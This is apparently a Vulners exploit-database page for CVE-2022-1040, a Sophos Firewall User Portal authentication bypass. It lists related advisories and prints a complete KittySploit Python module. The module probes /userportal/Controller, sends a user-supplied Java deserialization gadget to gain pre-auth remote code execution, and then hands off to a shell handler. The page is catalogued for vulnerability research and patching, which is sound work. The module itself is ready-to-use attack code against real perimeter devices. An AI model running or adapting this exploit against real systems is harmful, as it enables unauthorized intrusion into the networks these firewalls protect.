Sophos Firewall Auth Bypass RCE (CVE-2022-1040)
| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Sophos XG115w Firewall 17.0.10 MR-10 Authentication Bypass Vulnerability | 10 Aug 202200:00 | – | zdt | |
| Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass Vulnerability | 2 Sep 202200:00 | – | zdt | |
| Exploit for CVE-2022-1040 | 26 Sep 202307:26 | – | githubexploit | |
| Exploit for CVE-2022-1040 | 25 Sep 202215:15 | – | githubexploit | |
| Exploit for CVE-2022-1040 | 7 Oct 202214:44 | – | githubexploit | |
| Exploit for CVE-2022-1040 | 6 May 202208:56 | – | githubexploit | |
| CVE-2022-1040 | 25 Mar 202200:00 | – | attackerkb | |
| The vulnerability of Sophos’ web administration console for network firewalls allows attackers to execute arbitrary code. | 11 May 202200:00 | – | bdu_fstec | |
| CVE-2022-1040 | 25 Mar 202215:30 | – | circl | |
| Sophos Firewall Authentication Bypass Vulnerability | 31 Mar 202200:00 | – | cisa_kev |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sophos Firewall userportal auth bypass RCE (CVE-2022-1040)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Sophos Firewall Auth Bypass RCE (CVE-2022-1040)',
'description': (
'Exploits CVE-2022-1040 in Sophos Firewall <=18.5 MR3: authentication bypass '
'in User Portal /userportal/Controller enables pre-auth Java deserialization RCE.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2022-1040'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-1040'],
'tags': ['sophos', 'firewall', 'auth-bypass', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2022_1040_detect']},
},
}
gadget_json = OptString('', 'JSON gadget fragment for datagrid parameter', required=False, advanced=True)
def check(self):
path = '/userportal/Controller?mode=8700&operation=1&datagrid=179&json={"probe":"test"}'
r = self.http_request(
method='POST',
path=path,
headers={'X-Requested-With': 'XMLHttpRequest'},
allow_redirects=False,
)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and 'Session Expired' in body:
return {'vulnerable': True, 'reason': 'Sophos userportal bypass surface active', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Sophos userportal not confirmed', 'confidence': 'medium'}
def execute(self, cmd: str) -> str:
gadget = str(self.gadget_json or '').strip()
if not gadget:
return ''
path = f'/userportal/Controller?mode=8700&operation=1&datagrid=179&json={gadget}'
r = self.http_request(
method='POST',
path=path,
headers={'X-Requested-With': 'XMLHttpRequest'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def run(self):
if not self.check().get('vulnerable'):
self.not_vulnerable()
return False
if not self.gadget_json:
print_warning('Set gadget_json for deserialization RCE (see killvxk PoC)')
self.vulnerable()
return True
body = self.execute('')
if re.search(r'uid=\d+|Exception', body or '', re.I):
return self.handler_execute()
self.vulnerable()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.99796
SSVC